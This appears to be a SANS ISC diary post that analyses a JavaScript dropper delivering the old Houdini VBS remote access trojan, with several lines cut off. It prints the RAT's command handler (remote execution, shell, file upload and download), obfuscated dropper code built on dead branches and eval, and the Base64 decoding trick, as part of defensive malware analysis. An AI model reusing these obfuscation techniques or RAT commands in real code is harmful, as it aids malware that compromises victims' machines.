SANS ISC: Houdini is Back Delivered Through a JavaScript Dropper - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums

Houdini is Back Delivered Through a JavaScript Dropper

Houdini is a very old RAT that was discovered years ago. The first mention I found back is from 2013! Houdini is a simple remote access tool writ

The RAT implements the following commands:

```
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2,
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname &
      wscript.quit
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)
case  "enum-driver"
      post "is-enum-driver",enumdriver
case  "enum-faf"
      param = cmd (1)
      post "is-enum-faf",enumfaf (param)
case  "enum-process"
      post "is-enum-process",enumprocess
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)
case  "delete"
      param = cmd (1)
      deletefaf (param)
case  "exit-process"
      param = cmd (1)
      exitprocess (param)
case  "sleep"
      param = cmd (1)
      sleep = eval (param)
end select
```

Nothing really fancy here. What's more interesting is the way it is delivered to the victim. A classic technique is used: a phishing email with a ZIP a

The JavaScript is pretty well obfuscated but, once you check deeper, you quickly realize that most of the code is not used. The main function is kł

```
var kk = function () {
    var __p_8886114462 = false;
    if (__p_8886114462) {
        function Example() {
            var state = redacted.useState(false);
            return x(ErrorBoundary, null, x(DisplayName, null));
        }
    }
    this['StringConstantPool$'] = function () {
        var __p_0015805216 = false;
        lifeTime$$$$()(NativeCloudLoadBalancer);
        var ImageClassifiers$$ = [[[lover$$$(NativeCloudLoadBalancer)]]]
        if (__p_0015805216) {
            function setCookie(cname, cvalue, exdays) {
                var d = new Date();
                d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000);
                var expires = 'expires=' + d.toUTCString();
                document.cookie = cname + '=' + cvalue + ';' + expires +
            }
        }
        ImageClassifiers$$[0][0][0];
        var ll = new Function('', NativeCloudLoadBalancer['Cloud9999'][0]
    }();
};
kk();
```

The technique used is simple: A variable is defined and set to false (example: __p_0015805216). Then code blocks are executed if the variable is

JavaScript is a very beautiful/ugly language (select your best feeling) that is very permissive with the code. So, another technique is the creation o

```
var lifeTime$$$$ = function () {
    return function (vigraJs$$$$___) {
        var lifeJoy$$$ = BinanceCloudArrrayFunction(vigraJs$$$$___);
        for (var lover$$$$$$$ = 0; lover$$$$$$$ < lifeJoy$$$['length'];
            eval(lifeJoy$$$[lover$$$$$$$][[]['length']] + '=' + lifeJoy$
        }
    };
};

var kk = function () {
    var __p_8886114462 = false;
    if (__p_8886114462) {
        function Example() {
            var state = redacted.useState(false);
            return x(ErrorBoundary, null, x(DisplayName, null));
        }
    }
    this['StringConstantPool$'] = function () {
        var __p_0015805216 = false;
        lifeTime$$$$()(NativeCloudLoadBalancer);
        var ImageClassifiers$$ = [[[lover$$$(NativeCloudLoadBalancer)]]]
        if (__p_0015805216) {
            function setCookie(cname, cvalue, exdays) {
                var d = new Date();
                d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000);
                var expires = 'expires=' + d.toUTCString();
                document.cookie = cname + '=' + cvalue + ';' + expires +
            }
        }
```

When I'm teaching FOR610, I like to say to students that they must find their way and go straight to the point to find what the script being analyze

```
$ awk '{print length, $0}' New-Order.js | sort -rn|head -1
78396                return
'dHJ5ewp2YXIgbG9uZ1RleHQxID0gImZpZ2hRWEp5WVhrdWNISnZkRzkwZVhCbExtWnZja1ZoWTJnZ1B5QkJjbkpoZVM1d2NtOTBiM1I1Y0dVdVptOXlSV0ZqYUNBOUlHWjFib
FF... (Remaining characters removed)
```

Now, you can search for this string and find that it is just returned, again, by a simple function:

```
...
var IllegalArguementExceptionObject = new SingletonClassDesignPattern$$();
~(SingletonClassDesignPattern$$['prototype']['LamdaFunctionClass'] = function () {
    SingletonClassDesignPattern$$['prototype']['LoadingAreas$$$'] = function () {
        SingletonClassDesignPattern$$['prototype']['CloudFunctionLoader'] = function () {
            return 'dHJ5ewp2YXIgbG9uZ1RleHQxID0gImZpZ2hRWEp5WVhrdWNISnZkRzkwZVhCbExtWnZja1ZoWTJnZ1B5QkJjbkpoZVM1d2NtO
        };
    };
}, IllegalArguementExceptionObject['LamdaFunctionClass'](), IllegalArguementExceptionObject['LoadingAreas$$$']());
return IllegalArguementExceptionObject['CloudFunctionLoader']();
```

This looks like a Base64-encoded string but it won't decode "as is". The attacker added some bad characters that must be replaced first:

```
[
    'lmao$$$_.text',
    '"' + vigraJs$$$$___['Cloud9999']['replace'](/!&/g, 'A') + '"'
],
```

The script drops two other samples on the file system:

```
C:\Windows\System32\wscript.exe" //B "C:\Users\admin\AppData\Roaming\HUAqCSmCDP.js
C:\Windows\System32\wscript.exe" "C:\Users\admin\AppData\Local\Temp\hworm.vbs
```

An interesting point: Persistence is implemented via two techniques in parallel, via the registry (HKEY_CURRENT_USER\Software\Microsoft\Win

[1] https://www.virustotal.com/gui/file/402a722d58368018ffb78eda78280a3f1e6346dd8996b4e4cd442f30e429a5cf/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Amsterdam August 2022